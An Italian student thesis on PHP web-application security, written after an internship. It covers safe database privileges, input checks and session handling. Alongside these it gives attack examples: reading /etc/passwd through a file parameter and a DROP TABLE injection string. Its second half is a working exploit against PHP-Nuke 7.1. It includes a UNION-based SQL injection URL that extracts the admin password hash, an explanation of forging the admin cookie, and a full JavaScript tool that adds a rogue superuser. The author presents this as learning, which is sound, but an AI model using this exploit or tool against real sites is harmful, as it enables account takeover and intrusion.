Pubblico quì la tesina di fine corso che ho scritto, per condividere l'esperienza di formazione e per fornire una linea guida di come si scrive una piccola tesi al termine di un corso FSE.
Buona lettura.
Pubblico quì la tesina di fine corso che ho scritto, per condividere l'esperienza di formazione e per fornire una linea guida di come si scrive una piccola tesi al termine di un corso FSE.
Buona lettura.
Lo stage si è svolto presso l'azienda ************ in via *********** 164 a ****** nel reparto produzione. L'azienda ************ è una software house che sviluppa un programma per l' inserimento grafico degli ordini che si rivolge principalmente a produttori e rivenditori di mobili. L'utilizzo delle librerie Open GL permette la visualizzazione tridimensionale di un ambiente che può essere arredato scegliendo gli elementi da un listino. ************ si occupa del service per produttori che desiderano disegni e listini su misura e personalizzazioni varie, ma presta anche assistenza telefonica ai clienti rivenditori che acquistano il programma e pagano un canone annuale.
Dinamica, software-house leader nel campo della progettazione computerizzata d'interni, presenta i suoi innovativi prodotti:
Questa situazione ha evidenziato la necessità di gestire l'assistenza ai clienti tenendo conto della loro posizione, costringendo così ogni operatore ad attingere ad alcune informazioni dal database, per verificare lo stato dell' abbonamento del cliente ed inserire dati riguardanti l' intervento di assistenza. E' nata quindi l'esigenza che solo alcuni operatori possano accedere in lettura e scrittura a determinate tabelle mentre, ad altri sia consentito avere una visualizzazione parziale di altre tabelle; abbiamo pensato di risolvere il problema con una applicazione web-based, utilizzando un server web che generi pagine dinamiche leggendo le informazioni da un database. Il progetto di stage che ci siamo proposti si pone come obbiettivo l'analisi della sicurezza di un' applicazione di questo tipo, nonché quello di individuare gli accorgimenti necessari ad evitarne le tipiche vulnerabilità.
La scelta del sistema operativo, del tipo di server web, del database server, nonché del linguaggio, verte tra le classiche due scuole di pensiero: O.S. Microsoft, Server Web IIS Database MSSQL Linguaggi ASP o JSP O.S. Linux o Microsoft, Server Web Apache, Database MYSQL Linguaggi PHP, PERL o JSP Analizzando le risorse di cui disponevamo e le esperienze già acquisite con la realizzazione del sito aziendale che si appoggia su PHP NUKE, abbiamo optato per la soluzione con O.S. Linux, Server Web Apache, Database MYSQL e Linguaggio PHP.
L' applicazione deve consentire agli operatori l'accesso in lettura ai dati dell' anagrafica clienti e inserire su una tabella 'interventi' dati riguardanti l' intervento di assistenza, come ad esempio il motivo per cui si è dato supporto, i tempi di esecuzione, e l' esito positivo o negativo dell' intervento. Alcuni utenti avranno accesso anche in scrittura alla tabella dell' anagrafica clienti per aggiornare i dati che sono soggetti a variare. Inoltre, a scopo organizzativo, saranno necessari dei rapporti periodici che permettano di analizzare il lavoro eseguito dai singoli operatori. Si rende quindi necessaria l' autenticazione per ogni singolo utente.
Abbiamo scelto di installare Linux Debian Woody, una delle distribuzioni più affidabili per la sua stabilità e per la trasparenza di configurazione. Al momento dell'installazione abbiamo scelto tra i filesystem journaled disponibili, quello che prometteva maggior equilibrio tra sicurezza e prestazioni, reiserfs considerato più maturo di ext3, la versione journaling di ext2 che viene proposto di default su Linux. Per quanto riguarda la configurazione della nostra Debian abbiamo scelto di installare il minimo indispensabile: un server ftp per l'upload dei file, un server ssh per il controllo della macchina, il web server Apache 1.3.28, PHP 4.3.3, MYSQL 4.0.14
Dopo la creazione del database 'dincallctr' abbiamo creato due utenti : 'admin' con tutti privilegi di lettura scrittura e creazione e cancellazione delle tabelle con il comando
mysql> GRANT ALL PRIVILEGES on dincallctr.* to admin@localhost
IDENTIFIED BY 'adminpassword' WHIT GRANT OPTION;
ed un secondo utente 'operator' che non abbia la possibilità di creare o cancellare tabelle, ma possa inserire, modificare e cancellare record con il comando:
mysql> GRANT SELECT, INSERT, UPDATE on dincallctr.* to operator@localhost
IDENTIFIED BY 'userpassword';
L' utente 'operator' é quello con cui accede l' applicazione scritta in PHP.
Rendiamo effettive le modifiche ai privilegi di MYSQL con il comando:
mysql> FLUSH PRIVILEGES;L'utilizzo da parte dell' applicazione della connessione tramite account utente con privilegi ridotti, ci preserva da eventuali cancellazioni di tabelle da parte di attacchi perpetrati sfruttando possibili vulnerabilità del programma (SQL Injection).
La realizzazione di pagine PHP necessita di input da parte dell'utente e l'elaborazione dei dati da esso forniti deve essere accessibile dagli script presenti nelle pagine. Questa funzionalità è permessa dai moduli o form inseriti nelle pagine HTML mediante il tag <FORM> la cui proprietà ACTION indica lo script o pagina a cui vengono passati i parametri, mentre la proprietà METHOD indica il metodo in cui vengono passati i parametri. I metodi sono GET e POST. Con il metodo GET i dati vengono passati direttamente all'interno dell' URL della pagina, il quale si presenterà accompagnato da un punto di domanda (?) seguito dai dati organizzati in coppie nome/valore (qualora vi siano diverse coppie queste saranno legate tra loro dal simbolo &). Facciamo un esempio di utilizzo del metodo GET
<form method="get" action="pagina.php"> Tuo Nome: <input type="text" name="nome"> Età: <input type="text" name="eta"> <input type="submit" name="submit" value="invia"> </form>Premendo sul tasto 'invia' il browser viene reindirizzato alla URL
http://www.miosito.intra/pagina.php?nome=andrea&eta=36la cui querystring contiene i parametri passati dalla form con il metodo GET. Risulta chiaro che in questo caso un utente puo' facilmente vedere e modificare a proprio piacimento i parametri passati dal Browser al server HTTP. Diversamente dal metodo GET, il metodo POST invia i dati in maniera che non siano visibili dall'utente, attraverso la richiesta HTTP che il browser invia al server.
<form method="post" action="pagina.php"> Tuo Nome: <input type="text" name="nome"> Età: <input type="text" name="eta"> <input type="submit" name="submit" value="invia"> </form>Premendo sul tasto 'invia' il browser viene reindirizzato alla URL
http://www.miosito.intra/pagina.phpsenza alcuna querystring, ma i parametri passati possono ugualmente essere falsificati inviando la richiesta HTTP da una pagina HTML creata appositamente. I due esempi appena citati devono servirci da monito e farci diffidare dai parametri passati dall'utente che dovranno essere controllati dall'applicazione prima di essere elaborati. Infatti se ci aspettiamo un parametro 'nome' di tipo stringa con un numero di caratteri inferiore a 30 e ne riceviamo una con 60 caratteri cosa può succedere alla nostra applicazione? Analogamente se il parametro 'eta' che supponiamo contenga un numero positivo invece contiene un numero negativo o addirittura una stringa in quali errori può incorrere la nostra applicazione? Altri sistemi per lo scambio dei dati tra lato client e lato server sono i cookie e le variabili di sessione (introdotte in PHP a partire dalla versione 4.0 per sopperire al problema della mancanza di stato del protocollo HTTP). I cookie sono un meccanismo generale che può essere utilizzato dalle applicazioni lato server per memorizzare e recuperare informazioni sul lato client della connessione. Un cookie consiste in una coppia nome/valore con una data di scadenza ed informazioni riguardanti il dominio e il path di validità del cookie che vengono salvati dal brovser (lato client) in un file. Anche in questo caso si evidenzia un problema di sicurezza, in quanto i cookie sono soggetti alla modifica da parte di un utente malintenzionato. Per quanto riguarda le variabili di sessione il problema della falsificazione dei parametri si riduce notevolmente, infatti queste variabili vengono salvate in memoria sul lato server e non possono essere modificate dall'utente che accede al servizio, perché dal lato client il browser si limita a inviare l'identificativo di sessione cui corrispondono le variabili, e non si può conoscere l'identificativo di sessione di un'altro utente e cercare di utilizzarne le variabili associate. Consideriamo gli aspetti negativi delle variabili di sessione: utilizzando esclusivamente variabili di sessione si sovraccarica di lavoro il server diminuendone le prestazioni. Le variabili di sessione verranno quindi utilizzate solo quando è strettamente necessario, come per esempio mantenere le informazioni riguardanti l'autenticazione. Durante la programmazione si rischia spesso di cadere in ingenuità che si rivelano una manna per gli hacker.
Abbiamo esaminato la necessità da parte di un'applicazione di leggere e presentare a video sul lato client il contenuto di un file presente sul server, il cui nome viene passato come parametro all'interno di una querystring come si può notare dall'esempio:
http://www.miosito.intra/pagina.php?op=show&file=file.txtLo script della pagina php potrebbe essere simile al seguente:
<html>
<body>
<?php
$operazione = $_GET['op'];
$nomefile = $_GET['file'];
if ($operazione=="show") {
if (file_exists($nomefile)) {
// Il file $nomefile esiste";
$f=fopen($nomefile,"r");
if (!$f) {
echo "<p>Impossibile aprire il file\n";
exit;
}
while (!feof ($f)) {
$contenuto[]=fgets($f,1024);
}
fclose($f);
for ($nr=0;$nr<count($contenuto);$nr++){
echo "<br>$contenuto[$nr]";
}
}
}
?>
</body></html>
Il rischio che si corre è abbastanza evidente, basta sostituire il nome del file file.txt con la stringa /etc/passwd ed ecco in bella vista sul browser dell'attaccante la lista degli utenti e relative password che hanno accesso al server linux (se utilizza il file shadow sul server linux le password si trovano in /etc/shadow che solitamente non è leggibile da 'nobody', l'utente che viene utilizzato dal server HTTP e quindi da PHP).
root:x:0:0::/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
ftp:x:14:50::/home/ftp:
mysql:x:27:27:MySQL:/var/lib/mysql:/bin/bash
...
nobody:x:99:99:nobody:/:
andrea:x:1001:100::/home/andrea:/bin/bash
chiara:x:1002:100:,,,:/home/chiara:/bin/bash
Ecco quindi 3 righe di codice PHP per evitare disastrose conseguenze:
if (ereg("/",$nomefile) || ereg("\\",$nomefile)) {
echo "Questo file non può essere mostrato!";
exit;
}
Basta inserire questa piccola porzione di codice prima di testare se il file esiste per controllare che nel parametro 'file' passato dal client non ci sia il carattere '/' (o il carattere '\' se lo script è in esecuzione su O.S. Microsoft) per evitare che venga mostrato un file che risiede in una directory diversa da quella attesa. Si possono verificare molti casi diversi e più complessi di quello presentato, ma l'essenziale è tener presente la scarsa affidabiltà dei dati che l'applicazione lato server riceve dal lato client.
PHP come gli altri linguaggi usati per generare pagine dinamiche offre la possibilità di eseguire comandi sul lato server mediante alcune funzioni che elenchiamo: system(comando) passthru(comando[, variabile]) exec(comando[,array][, variabile]) Le prime due funzioni eseguono il comando restituendo direttamente al browser l'uscita del comando, mentre la funzione exec immagazzina il risultato restituito dal comando eseguito nell'array. La funzione EscapeShellCmd(comando) invece filtra la stringa di comando che viene passata alla shell per evitare di passare caratteri speciali come ';' o '|' che potrebbero causare un malfunzionamento del programma. ATTENZIONE: Le funzioni che causano l'esecuzione di programmi vanno usate con estrema cautela. Soprattutto è opportuno non usare parametri forniti dall'utente come argomenti dei comandi mandati in esecuzione. L'utente male intenzionato potrebbe fornire parametri inaspettati che possono causare l'esecuzione arbitraria di comandi sul server violando la sicurezza del sistema. Se è assolutamente necessario eseguire un comando che comprenda input dell'utente, ridurre i rischi usando EscapeShellCmd.
Un'altro aspetto da non sottovalutare è la tecnica di attacco denominata SQL Injection che consta nel passare alla pagina PHP, parametri volutamete formattati, in maniera da modificare sostanzialmente l'esecuzione di una query al database estraendone dati che il programmatore non si aspetta. Come primo semplice esempio mostriamo una porzione di codice di una ipotetica pagina PHP che esegue una query inserendo un parametro passato dal browser per trovare un record all'interno di una tabella articoli corrispondente al codice articolo 450.
<html> <body> <?php $cod = $_GET['codice']; $query = "SELECT codice, descrizione, prezzo, immagine" ." from articoli where codice=$cod" ; /* codice che esegue la query e ne mostra il risultato */ ...Se nella querystring della richiesta effettuata dal browser il parametro codice viene inserito il valore 450
http://www.miosito.intra/pagina.php?codice=450la stringa $query viene composta come segue:
SELECT codice, descrizione, prezzo, immagine FROM articoli WHERE codice=450 ;L'istruzione SQL trova il record corrispondente e il resto del programma restituisce al browser la pagina HTML formattata contenente codice, descrizione, prezzo e una foto dell'articolo scelto. Ma cosa succede se viene passata passata la seguente querystring ?
http://www.miosito.intra/pagina.php?codice=450;%20
DROP%20TABLE%20articoli%20/*
La stringa $query in seguito alla concatenazione con il parametro $cod si trasforma in:
SELECT codice, descrizione, prezzo, immagine FROM articoli WHERE codice=450; DROP TABLE articoli /*diventando una serie di due istruzioni SQL separate dal carattere ';' di cui la prima esegue normalmente la query di ricerca, mentre la seconda elimina la tabella degli articoli. Per prevenire il disastro è utile che il programma abbia accesso al database senza i privilegi necessari all'esecuzione di una istruzione contenente il comando DROP TABLE, ma bisogna senz'altro controllare l'input fornito dal lato client. Se il parametro che ci si aspetta è un numero intero e si riceve invece una stringa contenente una porzione di istruzione SQL, si può neutralizzare quest'ultima mettendo tra gli apici singoli la variabile contenente il parametro passato dal client:
... $query = "SELECT codice, descrizione, prezzo, immagine" ." from articoli where codice='$cod'" ; ...ATTENZIONE: per fare in modo che questo funzioni, la direttiva magic_quotes_gpc deve essere attiva nella configurazione di PHP (vedere il file /etc/apache/php.ini). Altri sistemi possono essere la forzatura del cast della variabile
$cod = (int) $_GET['codice'];oppure
settype($_GET['codice'], 'int'); $cod = $_GET[' codice ']; o il controllo del tipo di dato if(!is_numeric($cod))exit;Nel caso di variabili di tipo stringa, a seconda della situazione, si possono utilizzare funzioni che sostituiscono caratteri potenzialmente dannosi o ne effettuano l'escape. Di seguito elenchiamo alcune delle numerose funzioni offerte da PHP utili allo scopo di tenere sotto controllo le variabili stringa potenzialmente pericolose. str_replace() preg_replace() ereg_replace() per la sostituzione di caratteri pericolosi,
strtr()per la ricerca di sottostringhe,
addslashes()per aggiungere il carattere '\' che neutralizza il significato di determinati caratteri pericolosi,
mysql_escape_string() mysql_real_escape_string() per effettuare l'escape dei suddetti caratteri.
Applicando le patch di sicurezza ai sorgenti di PHP NUKE (noto sistema di pubblicazione Web dai contenuti dinamici) che utilizziamo per il sito aziendale, ho trovato una nuova vulnerabilità all'interno del modulo Download. Sicuramente si tratta di una svista del programmatore ma si rivela pericolosa per la sicurezza del sito stesso. Incuriosito dalla tecnica di SQL Injection, ho voluto sperimentare cosa si può ottenere da questa vulnerabilità per evitare di cadere nello stesso tranello durante la realizzazione del progetto di stage. Al momento in cui scrivo, la versione più recente di PHP NUKE è la 7.1, e cercando su internet nei siti specializzati in segnalazione di bug e problemi di sicurezza ho constatato che questa nuova vulnerabilità non è documentata. Probabilmente altri avranno notato e corretto l'errore ma nessuno si è ancora preso la briga di segnalarlo ufficialmente. Ecco la riga incriminata del codice sorgente della funzione viewsdownload presente nel file index.php del modulo Downloads di PHP NUKE 7.1:
$result=sql_query("SELECT lid, url, title, description, date, hits,
downloadratingsummary, totalvotes, totalcomments, filesize,
version, homepage FROM ".$prefix."_downloads_downloads WHERE
sid=$sid order by $orderby limit $min,$perpage", $dbi);
I programmatori di PHP NUKE da sempre si affidano alla direttiva magic_quotes_gpc per evitare che delle stringhe maliziose entrino a far parte delle interrogazioni SQL. Abbiamo già visto che è necessario mettere la variabile da concatenare tra gli apici singoli, ma dopo l'istruzione WHERE nel sorgente troviamo la variabile intera $sid senza apici, quindi vulnerabile ad un attacco di SQL Injection. Dopo aver attentamente esaminato la funzione affetta dal bug, ho provato ad inviare, dal mio browser, la richiesta HTTP:
http://www.miosito.com/modules.php?name=Downloads&d_op=viewsdownload&sid=-1 %20union%20select%201,2,aid,pwd,5,6,7,8,9,10,11,12%20from%20 nuke_authors%20WHERE%20radminsuper=1%20/*La pagina generata da PHP NUKE che normalmente avrebbe dovuto presentare la lista dei file appartenenti ad una determinata categoria, da scaricare dalla sezione download, ha invece restituito UserName e hash della password crittografata dell'amministratore del sito. Leggendo i sorgenti ho riscontrato che l'algoritmo utilizzato per codificare la password è l' MD5. La password così codificata non può essere facilmente decodificata, ma la curiosità mi ha spinto a verificare se i dati ottenuti erano effettivamente inutili. Ho cercato di capire il meccanismo di autenticazione utilizzato da PHP NUKE per la sessione dell'amministratore leggendo il file auth.php, ed ho osservato che l'hash della password è presente nel cookie che viene utilizzato per mantenere attiva tale sessione. Infatti, la variabile admin del cookie contiene una stringa codificata mediante la funzione base64_encode di PHP; tale stringa è la concatenazione di tre campi della tabella nuke_authors di PHP NUKE, ovvero il campo aid (UserName dell' amministratore), il campo pwd (password) e il campo admlanguage (lingua utilizzata, ininfluente ai fini dell' exploit). Segue il sorgente della pagina di autenticazione di PHP NUKE
auth.php:
<?php
/***********************************************************************/
/* PHP-NUKE: Advanced Content Management System */
/* ============================================ */
/* */
/* Copyright (c) 2002 by Francisco Burzi */
/* http://phpnuke.org */
/* */
/* This program is free software. You can redistribute it and/or modify*/
/* it under the terms of the GNU General Public License as published by*/
/* the Free Software Foundation; either version 2 of the License. */
/***********************************************************************/
require_once("mainfile.php");
if (eregi("auth.php",$_SERVER['PHP_SELF'])) {
Header("Location: index.php");
die();
}
if (ereg("[^a-zA-Z0-9_-]",trim($aid))) {
die("Begone");
}
$aid = substr("$aid", 0,25);
$pwd = substr("$pwd", 0,18);
if ((isset($aid)) && (isset($pwd)) && ($op == "login")) {
$datekey = date("F j");
$rcode = hexdec(md5($_SERVER[HTTP_USER_AGENT] . $sitekey
. $_POST[random_num] . $datekey));
$code = substr($rcode, 2, 6);
if (extension_loaded("gd") AND $code != $_POST[gfx_check] AND
($gfx_chk == 1 OR $gfx_chk == 5 OR $gfx_chk == 6 OR $gfx_chk == 7))
{
Header("Location: admin.php");
die();
}
if($aid!="" AND $pwd!="") {
$pwd = md5($pwd);
$sql = "SELECT pwd, admlanguage FROM ".$prefix."_authors WHERE "
. "aid='$aid'";
$result = $db->sql_query($sql);
$row = $db->sql_fetchrow($result);
if($row[pwd] == $pwd) {
$admin = base64_encode("$aid:$pwd:$row[admlanguage]");
setcookie("admin","$admin",time()+2592000);
unset($op);
}
}
}
$admintest = 0;
if(isset($admin) && $admin != "") {
$admin = base64_decode($admin);
$admin = explode(":", $admin);
$aid = "$admin[0]";
$pwd = "$admin[1]";
$admlanguage = "$admin[2]";
if ($aid=="" || $pwd=="") {
$admintest=0;
echo "<html>\n";
echo "<title>INTRUDER ALERT!!!</title>\n";
echo "<body bgcolor=\"#FFFFFF\" text=\"#000000\">\n\n<br><br><br>\n\n";
echo "<center><img src=\"images/eyes.gif\" border=\"0\"><br><br>\n";
echo "<font face=\"Verdana\" size=\"+4\"><b>";
echo "Get Out!</b></font></center>\n";
echo "</body>\n";
echo "</html>\n";
exit;
}
$sql = "SELECT pwd FROM ".$prefix."_authors WHERE aid='$aid'";
if (!($result = $db->sql_query($sql))) {
echo "Selection from database failed!";
exit;
} else {
$row = $db->sql_fetchrow($result);
if($row[pwd] == $pwd && $row[pwd] != "") {
$admintest = 1;
}
}
}
?>
Quando l' amministratore che ha una sessione attiva modifica una parte del sito, il portale richiede tale cookie e analizza la variabile admin controllando solo aid e pwd prima di consentirgli qualunque operazione. Sappiamo che la lettura dei cookie può avvenire solo a livello di intestazione, ovvero quando non è stata ancora fornita nessuna porzione della pagina richiesta dal client e la variabile contenuta viene passata al programma come variabile globale. Ho quindi inviato, mediante una form, una richiesta HTTP alla pagina admin.php che tentava di inserire un nuovo amministratore con username e password a me noti, aggiungendo ai campi obbligatori la variabile admin contenente i dati richiesti codificati in base 64. L' exploit funziona solo se non è presente nessun cookie del sito attaccato.
A questo punto non rimaneva che automatizzare le operazioni fin qui eseguite creando un piccolo script che permettesse di attaccare qualunque sito realizzato con PHP NUKE.
Ho realizzato il programma in javascript per evitare la necessità di avere un server Web attivo e PHP sulla macchina attaccante.
Il sorgente è pubblicato di seguito in due file.
<html><head>
<script src="base64.js"></script>
<script language="javascript">
steps=0;
function configure(){
if(steps>0)return;
link_read_pwd="<a href=\"http://"+url.value+"/modules.php" +
"?name=Downloads&d_op=viewsdownload&sid=-1%20" +
"UNION%20SELECT%201,2,aid,pwd,5,6,7,8,9,10,11,12%20" +
"FROM%20nuke_authors%20WHERE%20radminsuper=1%20/*\" " +
"target=_blank>Get aid, pwd</a>";
form1="<br>\n<table>\n" +
"<tr><td>aid: </td><td><input type=text name=\"aid\" " +
"value=\"\"></input></td></tr>\n" +
"<tr><td>pwd: </td><td><input type=text name=\"pwd\" " +
"value=\"\" size=40></input></td></tr>\n" +
"<tr><td>adminlanguage:</td><td> <input type=text " +
"name=\"admlanguage\" value=\"italian\"></input></td></tr>\n" +
"<tr><td><input type=\"button\" value=\"Step 2\" onclick" +
"=\"build_coockie();\"></input></td><td></td></tr>\n" +
"</table>\n<br>";
document.body.innerHTML=document.body.innerHTML +
link_read_pwd + form1;
steps++;
}
function build_coockie(){
if(steps>1)return;
admin=base64encode(aid.value+":"+pwd.value+":"+admlanguage.value);
form2="<form action=\"http://"+url.value+"/admin.php\" " +
"method=\"POST\">\n"+
"<input type=\"hidden\" name=\"admin\" value=\""+admin+"\">\n"+
"<table>\n"+
"<tr><td>*name:</td><td><input type=\"text\" name=\"add_name\""+
" size=\"30\" maxlength=\"50\" value=\"root\"></td></tr>" +
"<tr><td>*aid:</td><td><input type=\"text\" name=\"add_aid\" " +
"size=\"30\" maxlength=\"50\" value=\"root\"></td></tr>" +
"<tr><td>*email:</td><td><input type=\"text\" " +
"name=\"add_email\" size=\"30\" maxlength=\"60\" " +
"value=\"root@root.org\"></td></tr>" +
"<tr><td>url:</td><td><input type=\"text\" name=\"add_url\" " +
"size=\"30\" maxlength=\"60\" value=\"http://" +
url.value + "\"></td></tr>" +
"<tr><td>adminlanguage:</td><td><input type=\"text\" " +
"name=\"add_admlanguage\" value=\"italian\"></td></tr>" +
"<tr><td>*radminsuper:</td><td><input type=\"text\" " +
"name=\"add_radminsuper\" value=\"1\"></td></tr>" +
"<tr><td>*pwd:</td><td><input type=\"text\" name=\"add_pwd\" "+
"size=\"12\" maxlength=\"12\" value=\"123456\"></td></tr>"+
"<tr><td>op:</td><td>AddAuthor<input type=\"hidden\" " +
"name=\"op\" value=\"AddAuthor\"></td></tr>" +
"</table>" +
"<br>" +
"Clear your cookie cache and press on button " +
"to add your Superuser<br>" +
"<input type=\"submit\" value=\"Aggiungi Autore\"></input>"+
"</form>";
document.body.innerHTML=document.body.innerHTML+"<br>"+form2;
steps++;
}
</script></head><body>
url: http://<input type=text name="url" size=40 value="localhost">
<input type="button" onclick="configure();" value="step 1" name="btn1">
<br></body></html>
base64.js
(file necessario all' exploit per la codifica delle stringhe in base 64):
/* Copyright (C) 1999 Masanao Izumo <mo@goice.co.jp>
* Version: 1.0
* LastModified: Dec 25 1999
* This library is free. You can redistribute it and/or modify it.
*/
/*
* Interfaces:
* b64 = base64encode(data);
* data = base64decode(b64);
*/
var base64EncodeChars =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
var base64DecodeChars = new Array(
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63,
52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, -1, -1, -1,
-1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14,
15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1,
-1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40,
41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -1, -1, -1, -1, -1);
function base64encode(str) {
var out, i, len;
var c1, c2, c3;
len = str.length;
i = 0;
out = "";
while(i < len) {
c1 = str.charCodeAt(i++) & 0xff;
if(i == len)
{
out += base64EncodeChars.charAt(c1 >> 2);
out += base64EncodeChars.charAt((c1 & 0x3) << 4);
out += "==";
break;
}
c2 = str.charCodeAt(i++);
if(i == len)
{
out += base64EncodeChars.charAt(c1 >> 2);
out += base64EncodeChars.charAt(((c1&0x3)<<4)|((c2 & 0xF0)>>4));
out += base64EncodeChars.charAt((c2 & 0xF) << 2);
out += "=";
break;
}
c3 = str.charCodeAt(i++);
out += base64EncodeChars.charAt(c1 >> 2);
out += base64EncodeChars.charAt(((c1 & 0x3)<<4)|((c2 & 0xF0)>>4));
out += base64EncodeChars.charAt(((c2 & 0xF)<<2)|((c3 & 0xC0)>>6));
out += base64EncodeChars.charAt(c3 & 0x3F);
}
return out;
}
function base64decode(str) {
var c1, c2, c3, c4;
var i, len, out;
len = str.length;
i = 0;
out = "";
while(i < len) {
/* c1 */
do {
c1 = base64DecodeChars[str.charCodeAt(i++) & 0xff];
} while(i < len && c1 == -1);
if(c1 == -1)
break;
/* c2 */
do {
c2 = base64DecodeChars[str.charCodeAt(i++) & 0xff];
} while(i < len && c2 == -1);
if(c2 == -1)
break;
out += String.fromCharCode((c1 << 2) | ((c2 & 0x30) >> 4));
/* c3 */
do {
c3 = str.charCodeAt(i++) & 0xff;
if(c3 == 61)
return out;
c3 = base64DecodeChars[c3];
} while(i < len && c3 == -1);
if(c3 == -1)
break;
out += String.fromCharCode(((c2 & 0XF) << 4) | ((c3 & 0x3C) >> 2));
/* c4 */
do {
c4 = str.charCodeAt(i++) & 0xff;
if(c4 == 61)
return out;
c4 = base64DecodeChars[c4];
} while(i < len && c4 == -1);
if(c4 == -1)
break;
out += String.fromCharCode(((c3 & 0x03) << 6) | c4);
}
return out;
}
La realizzazione del progetto ci ha reso maggiormente consapevoli delle debolezze riguardanti la programmazione lato server, e ci ha fornito le conoscenze necessarie ad evitare vulnerabilità tipiche di queste applicazioni. La scoperta del bug dei sorgenti di PHP NUKE ha evidenziato la necessità di un diverso meccanismo di memorizzazione dei dati relativi all' autenticazione. A questo punto, dovendo scrivere un programma che necessita delle autenticazioni, mi affiderei a variabili di sessione piuttosto che a variabili memorizzate sul lato client; questa cosa, per gli autori del suddetto portale non era possibile, in quanto PHP, nelle versioni precedenti alla 4.0 non disponeva di queste features. Vorrei comunque riconoscere il giusto merito agli autori di PHP NUKE che sviluppando sotto licenza OPEN SOURCE, permettono a chiunque desideri apprendere tecniche di programmazione sempre più efficenti, di leggerne i sorgenti. E' chiaro che la difficolta di creare un exploit per un programma di cui non si conoscono i sorgenti aumenta notevolmente, ma è proprio grazie all' OPEN SOURCE che aumenta la sicurezza nello sviluppo dei programmi.